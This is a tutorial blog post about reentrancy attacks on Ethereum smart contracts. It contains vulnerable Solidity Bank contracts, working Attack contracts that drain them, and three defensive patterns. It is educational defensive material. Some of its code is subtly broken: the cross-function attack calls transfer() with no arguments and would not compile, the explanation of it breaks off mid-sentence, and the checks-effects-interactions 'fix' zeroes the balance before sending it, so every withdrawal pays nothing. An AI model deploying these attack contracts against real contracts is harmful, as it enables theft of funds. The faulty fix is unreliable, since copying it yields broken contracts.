Smart contract security: an illustrated guide to Re-entrancy Attack
Tags: solidity, ethereum, smartcontract, blockchain
Published: 2022-09-11 17:04:33

## Table of content
- [Introduction](#introduction)
- [Types of reentrancy attack](#types-of-reentrancy-attack)
  * [Single function reentrancy attack](#single-function-reentrancy-attack)
  * [Cross-function reentrancy attack](#cross-function-reentrancy-attack)
- [How to prevent reentrancy attacks](#how-to-prevent-reentrancy-attacks)
  * [Reentrancy guard](#reentrancy-guard)
  * [Checks, Effects, Interactions](#checks--effects--interactions)
  * [PullPayment](#pullpayment)
- [Conclusion](#conclusion)

## Introduction
On June 17, 2016, a hacker drained 3.6 million ETH from TheDao's smart contract. It was the notorious reentrancy attack that led to a hard fork of Ethereum which became Ethereum Classic (ETC). After the attack, developers were educated to prevent similar attacks, but it does not stop hackers from exploiting the vulnerability several times more. 

If you are a smart contract developer, it is important to understand reentrancy attack and how to prevent it. 

## Types of reentrancy attack
There are two known types of reentrancy attacks: *single function* and *cross-function reentrancy*. In this article, we will stimulate them with two smart contracts: Bank and Attack.

### Single function reentrancy attack

#### Bank smart contract
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external payable {
        require(balances[msg.sender] > 0,"Not enough balance");

        (bool success, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(success, "Failed to transfer ETH");

        balances[msg.sender] = 0;
    }
}
```
The Bank smart contract is pretty straightforward. We have a `balances` mapping, a `deposit` function, and a `withdraw` function which we want to pay attention to. 

The withdraw function does 3 things. First, it checks if the user has deposited ETH. If yes, transfer the balance to the user's address. Finally, it set the user's balance to 0. Here is the diagram:


![reentrancy.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1662903118803/Qqbf-JyAs.png)

#### Attack smart contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract Attack {
    IBank public bank;

    constructor(IBank bank_) {
        bank = bank_;
    }

    function exploit() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
        
        payable(msg.sender).transfer(address(this).balance);
    }
    

    receive() external payable{
        if(address(bank).balance >= 1 ether){
            bank.withdraw();
        }
    }
}
```

Before explaining the Attack smart contract code, let's discuss the concept of the reentrancy attack. (For short, I will call the smart contracts Bank and Attack)

Consider Bank calling Attack. If Attack can call Bank while Bank is still executing its call to Attack, reentrancy happens. This makes a loop that drains all Bank's funds. Let's look at the following diagram:

![reentrancy-single-function.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1662909996968/sSxwb69pN.png)


The reentrancy attack can be broken down into 3 steps:

**Step 1**: Attack calls Bank's withdraw function. Bank contract transfer ETH to Attack after checking Attack's balance valid. 

**Step 2**: Transfering ETH from Bank to Attack triggers Attack's receive function. If you are not familiar with receive Ether Function, read more about it [here](https://docs.soliditylang.org/en/v0.8.16/contracts.html?highlight=receive#receive-ether-function).

**Step 3**: Attack's receive function calls Bank's withdraw function again while Bank is still executing its call at step 2. This means that `balances[msg.sender] = 0;` doesn't get executed, so Bank keeps sending its ETH to Attack until there is no ETH anymore.

### Cross-function reentrancy attack
This type of reentrancy attack is achievable when a vulnerable function shares a state with another external function that performs what the hacker wants.  

#### Bank smart contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) external {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() external payable {
        require(balances[msg.sender]>0, "Not enough balance");
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");

        balances[msg.sender] = 0;
    }
}
```

#### Attack smart contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IBank {
    function deposit() external payable;

    function withdraw() external payable;
}

contract Attack {
    IBank public bank;

    constructor(IBank bank_) {
        bank = bank_;
    }

    function exploit() external payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
        // transfer to msg.sender balance of this contract
        payable(msg.sender).transfer(address(this).balance);
    }
    

    receive() external payable{
        if(address(bank).balance >= 1 ether){
            bank.transfer();
        }
    }
}
```
Our Bank smart contract now has another function, `transfer`. This function allows the user to transfer ETH from his balance to a recipient. The `withdraw` function shares the mapping `balances` state with the `transfer` function which has 

Instead of recursively calling Bank's withdraw function, Attack calls the transfer function in its receive function. Because the line `balances[msg.sender] = 0;` in Bank's withdraw function has not been reached before this call, the `transfer` function keeps transferring ETH to the attacker's address.


![reentrancy-cross-function.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1662910073022/iFTUnwk9d.png)

## How to prevent reentrancy attacks
### Reentrancy guard
Reentrancy guard or mutex places a lock on the smart contract state. Locking the state will prevent the attacker from calling withdraw or transfer function recursively. 
```solidity
bool private locks;

 function withdraw() external payable {
        require(!locks, "Balances locked!");
        locks = true;

        require(balances[msg.sender]>0, "Not enough balance");
        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");

        balances[msg.sender] = 0;

        locks = false;
    }
```
When Bank's withdraw function calls Attack's receive function, `locks` is still `true`. It will trigger the `require` function, and revert the call. 


![reentrancy-mutex.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1662912585978/OyKSWclqF.png)

That is the simplest form of Reentrancy guard. If you want a more complex one, check out OpenZeppelin's [ReentrancyGuard.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)


### Checks, Effects, Interactions
We set the user's balance to 0 before transferring the funds to the Attack contract. ` require(balances[msg.sender]>0, "Not enough balance");` will be triggered when the Attack contract call withdraw function again.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Bank {
    mapping(address => uint) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function transfer(address to, uint amount) external {
        if (balances[msg.sender] >= amount) {
            balances[to] += amount;
            balances[msg.sender] -= amount;
        }
    }

    function withdraw() external payable {
        require(balances[msg.sender]>0, "Not enough balance");

         balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
        require(sent, "failed to transfer ETH");
    }
}
```

### PullPayment 
In this pattern, the paying contract sends funds to an intermediate escrow to avoid direct contact with bad contracts. We now store users' `balances` in the `Escrow` smart contract, and the users can pull the funds themself from there.
#### Bank smart contract

```solidity
pragma solidity ^0.8.16;

import "./Escrow.sol";

contract Bank {
    Escrow private immutable _escrow;

    constructor() {
        _escrow = new Escrow();
    }
    
    function withdrawPayments(address payable payee) public virtual {
        _escrow.withdraw(payee);
    }

    function payments(address dest) public view returns (uint256) {
        return _escrow.depositsOf(dest);
    }

    function _asyncTransfer(address dest, uint256 amount) internal virtual {
        _escrow.deposit{value: amount}(dest);
    }
}
```

#### Escrow smart contract
```solidity
pragma solidity ^0.8.16;

import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Address.sol';

contract Escrow is Ownable {

    using Address for address payable;

    mapping(address => uint256) private _balances;

    function depositsOf(address payee) public view returns (uint256) {
        return _balances[payee];
    }

   
    function deposit(address payee) public payable virtual onlyOwner {
        uint256 amount = msg.value;
        _balances[payee] += amount;
    }

    function withdraw(address payable payee) public virtual onlyOwner {
        uint256 payment = _balances[payee];

        _balances[payee] = 0;

        payee.sendValue(payment);
    }
}
```
We still need to protect the Escrow smart contract from reentrancy attacks. That is why we have `_balances[payee] = 0;` before sending funds in the `withdraw` function.

Like the Reetrancy guard, the PullPayment method is recommended by OpenZeppelin. You can find the details versions of the two smart contracts above in their Github Repo: [PullPayment.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c1d6e39aab042a38a90f618c614a298522851f7b/contracts/security/PullPayment.sol) and [Escrow.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/c1d6e39aab042a38a90f618c614a298522851f7b/contracts/utils/escrow/Escrow.sol#L47)

## Conclusion
Reentrancy is probably the most popular and exploited vulnerability in the history of Web3. Smart contract developers must understand how it works and how to prevent it from being exploited. Checkout this Github [repo](https://github.com/peterblockman/reentrancy) for the code.